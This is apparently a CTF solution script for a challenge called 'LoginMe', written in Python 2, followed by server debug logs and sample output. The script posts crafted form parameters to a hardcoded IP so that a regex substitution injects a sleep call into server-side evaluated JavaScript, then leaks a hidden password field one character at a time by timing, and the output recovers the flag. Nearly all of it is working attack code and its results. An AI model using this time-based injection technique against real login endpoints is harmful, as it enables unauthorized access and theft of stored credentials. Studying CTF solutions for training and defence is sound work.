Tencent CTF LoginMe Exploit

loginme_exploit.py

# @author LongCat & Bongtrop
import string
import requests
import urllib

# username=admin&password=y&|hex_md5(.)(.)y.(.)....this.password_(\w%2b)|=$2%3d%3d$2$2+%26%26+this.password_$4[0]%3d%3d%3d'1+%26%26+sleex$1100$3+%26%26+$2$2%3d%3d$2

flag=''
for char_counter in xrange(0,100):
	for characters in string.letters+string.digits+"{}":

		payload_k = '|hex_md5(.)(.)y.(.)....this.password_(\w+)|'
		payload_v = '$2==$2$2 && this.password_$4[%d]===\'%s\' && sleep$15000$3 && $2$2==$2' % (char_counter, characters)
		payload = (('username','admin'),('password','y'),(payload_k,payload_v))
		try:
			# print payload
			timez = requests.post("http://193.168.33.124:8081/check", data=payload).elapsed.total_seconds()
			# print res.text
			if timez > 3:
				flag += characters
				print "Flag: "+flag
				break
		except requests.exceptions.ConnectionError:
			pass

# 0|app      | ---
# 0|app      | original = if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.password_oamjf5dmd9l){
# 0|app      | return 1;
# 0|app      | }else{
# 0|app      | return 0;}
# 0|app      | ---
# 0|app      | req.body[k] = admin
# 0|app      | k = username
# 0|app      | ---
# 0|app      | if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_oamjf5dmd9l){
# 0|app      | return 1;
# 0|app      | }else{
# 0|app      | return 0;}
# 0|app      | ---
# 0|app      | req.body[k] = y
# 0|app      | k = password
# 0|app      | ---
# 0|app      | if(this.username == "admin" && "admin" == "admin" && hex_md5("y") == this.password_oamjf5dmd9l){
# 0|app      | return 1;
# 0|app      | }else{
# 0|app      | return 0;}
# 0|app      | ---
# 0|app      | req.body[k] = $2==$2$2 && this.password_$4[20]==='x' && sleep$15000$3 && $2$2==$2
# 0|app      | k = |hex_md5(.)(.)y.(.)....this.password_(\w+)|
# 0|app      | ---
# 0|app      | if(this.username == "admin" && "admin" == "admin" && ""=="" && this.password_oamjf5dmd9l[20]==='x' && sleep(5000) && ""==""){
# 0|app      | return 1;
# 0|app      | }else{
# 0|app      | return 0;}

# $ python exploit_loginme.py
# Flag: f
# Flag: fl
# Flag: fla
# Flag: flag
# Flag: flag{
# Flag: flag{T
# Flag: flag{Th
# Flag: flag{Thi
# Flag: flag{This
# Flag: flag{ThisI
# Flag: flag{ThisIS
# Flag: flag{ThisIST
# Flag: flag{ThisISTh
# Flag: flag{ThisISThe
# Flag: flag{ThisISTheF
# Flag: flag{ThisISTheFl
# Flag: flag{ThisISTheFla
# Flag: flag{ThisISTheFlag
# Flag: flag{ThisISTheFlagK
# Flag: flag{ThisISTheFlagKe
# Flag: flag{ThisISTheFlagKey
# Flag: flag{ThisISTheFlagKey}